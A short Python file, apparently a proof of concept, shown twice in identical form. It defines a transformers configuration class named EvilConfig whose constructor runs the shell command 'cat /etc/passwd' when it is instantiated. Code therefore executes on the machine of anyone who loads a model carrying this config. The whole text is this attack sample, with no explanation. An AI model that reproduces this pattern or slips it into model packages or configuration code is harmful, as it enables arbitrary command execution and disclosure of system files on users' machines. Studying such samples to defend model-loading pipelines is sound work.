from transformers import PretrainedConfig | |
import os | |
class EvilConfig(PretrainedConfig): | |
model_type = "evil" | |
def __init__(self, **kwargs): | |
os.system("cat /etc/passwd") | |
super().__init__(**kwargs) | |
from transformers import PretrainedConfig | |
import os | |
class EvilConfig(PretrainedConfig): | |
model_type = "evil" | |
def __init__(self, **kwargs): | |
os.system("cat /etc/passwd") | |
super().__init__(**kwargs) | |